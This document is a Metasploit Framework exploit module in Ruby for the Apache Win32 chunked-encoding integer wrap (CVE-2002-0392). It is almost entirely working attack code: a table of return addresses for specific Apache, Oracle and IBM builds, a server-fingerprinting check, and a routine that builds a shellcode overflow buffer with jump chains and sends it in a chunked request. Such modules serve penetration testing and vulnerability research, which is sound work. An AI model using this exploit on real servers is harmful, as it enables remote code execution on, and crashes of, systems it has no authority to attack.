Apache Win32 Chunked Encoding

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Apache Win32 Chunked Encoding',  
'Description' => %q{  
This module exploits the chunked transfer integer wrap  
vulnerability in Apache version 1.2.x to 1.3.24. This  
particular module has been tested with all versions of the  
official Win32 build between 1.3.9 and 1.3.24. Additionally,  
it should work against most co-branded and bundled versions  
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).  
  
You will need to use the Check() functionality to determine  
the exact target version prior to launching the exploit. The  
version of Apache bundled with Oracle 8.1.7 will not  
automatically restart, so if you use the wrong target value,  
the server will crash.  
},  
'Author' => 'hdm',  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2002-0392' ],  
[ 'OSVDB', '838'],  
[ 'BID', '5033' ],  
[ 'URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],  
  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 987,  
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",  
'MinNops' => 200,  
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",  
  
},  
'Targets' =>   
[  
[ 'Windows Generic Bruteforce', {} ],  
  
# Official Apache.org win32 builds  
[ 'Apache.org Build 1.3.9->1.3.19',   
{  
'Ret' => 0x00401151,   
'Pad' => [6,2,0,4,1,3,5,7]  
}  
],  
[ 'Apache.org Build 1.3.22->1.3.24',   
{  
'Ret' => 0x00401141,   
'Pad' => [2,6,0,4,1,3,5,7]  
}  
],  
[ 'Apache.org Build 1.3.19->1.3.24',   
{  
'Ret' => 0x6ff6548d,  
'Pad' => [2,6,0,4,1,3,5,7]  
}  
],  
[ 'Apache.org Build 1.3.22',  
{  
'Ret' => 0x6ff762ac,  
'Pad' => [2,6,0,4,1,3,5,7]  
}  
],  
  
# Return to Win9xConHook.dll via call ebx  
[ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',  
{  
'Ret' => 0x1c0f13e5,  
'Pad' => [2,6,0,4,1,3,5,7]  
}  
],  
  
# Return to Win9xConHook.dll via call esi  
[ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)',  
{  
'Ret' => 0x1c0f1033,  
'Pad' => [2,6,0,4,1,3,5,7]  
}  
],  
  
# Interesting return to PEB trick for Windows 2003 systems...  
[ 'Windows 2003 English SP0',  
{  
'Ret' => 0x7ffc0638,  
'Pad' => [2,6,5,4,1,3,0,7]  
}  
],  
  
# Pop/Pop/Return on Windows 2000   
[ 'Windows 2000 English',  
{  
'Ret' => 0x75022ac4,  
'Pad' => [2,6,5,4,1,3,0,7]  
}  
],  
  
# Oracle HTTPD: [ 8.1.7 ] (one shot)  
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4  
# OpenSSL/0.9.5a mod_perl/1.24  
[ 'Oracle 8.1.7 Apache 1.3.12',  
{  
'Ret' => 0x1d84d42c,  
'Pad' => [7]  
}  
],  
  
# Oracle HTTPD: [ 9.1.0 ] (multiple shots)  
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4  
# OpenSSL/0.9.5a mod_perl/1.24  
[ 'Oracle 9.1.0 Apache 1.3.12',  
{  
'Ret' => 0x10016061,  
'Pad' => [5,6,0,4,1,3,2,7]  
}  
],  
  
# Oracle HTTPD: [ 9.2.0 ] (multiple shots)  
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)  
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b  
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25  
[ 'Oracle 9.2.0 Apache 1.3.22',  
{  
'Ret' => 0x6ff6427a,  
'Pad' => [5,6,0,4,1,3,2,7]  
}  
],  
  
# Generic debugging targets  
[ 'Debugging Target',  
{  
'Ret' => 0xcafebabe,  
'Pad' => [0,1,2,3,4,5,6,7]  
}  
]  
],  
'DisclosureDate' => 'Jun 19 2002',  
'DefaultTarget' => 0))  
end  
  
def check  
response = send_request_raw({'uri' => '/'}, 5)  
  
if response.nil?  
print_status("No response to request")  
return Exploit::CheckCode::Safe   
end  
  
code = Exploit::CheckCode::Appears  
  
case response['Server']  
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"  
print_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")  
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"  
print_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")  
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"  
print_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")  
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/  
print_status("IBM backported the patch, this system is not vulnerable")  
code = Exploit::CheckCode::Safe  
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/  
else  
code = Exploit::CheckCode::Safe  
end  
  
if code == Exploit::CheckCode::Appears  
print_status("Vulnerable server: #{response['Server']}")  
else  
print_status("Server is probably not vulnerable: #{response['Server']}")  
end  
  
return code  
end  
  
def exploit  
if target_index == 0  
targets.each_with_index { |targ, idx|  
next if idx == 0  
  
exploit_target(targ)  
}  
else  
exploit_target(target)  
end  
end  
  
def exploit_target(target)  
target['Pad'].each { |pad|  
pattern =   
rand_text_alphanumeric(3936) +   
payload.encoded +   
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +  
rand_text_alphanumeric(pad)  
  
# Move slightly further back to allow padding changes  
pattern +=  
"\xeb\xf0\xde\xad" +  
[target.ret].pack('V')  
  
# Create a chain of return addresses and reverse jumps  
254.times { |x|  
pattern +=  
"\xeb\xf6\xbe\xef" +  
[target.ret].pack('V')  
}  
  
# Even out the request length based on the padding value  
# This is required to reliably hit the return address offset  
pattern += rand_text_alphanumeric(8 - pad)  
  
#  
# Regardless of what return we hit, execution jumps backwards to the shellcode:  
# _______________ _______________ ___________  
# _________ _____________ | ________ | | ______ | | ______  
# v | v | v v | | v v | | v v |  
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]  
#  
  
print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")  
  
# Build the request  
send_request_raw({  
'uri' => '/',  
'headers' =>   
{  
'Transfer-Encoding' => "CHUNKED"  
},  
'data' => "FFFFFFF0 " + pattern,  
}, 2)  
  
# Check the handler  
handler  
}  
end  
  
end  
`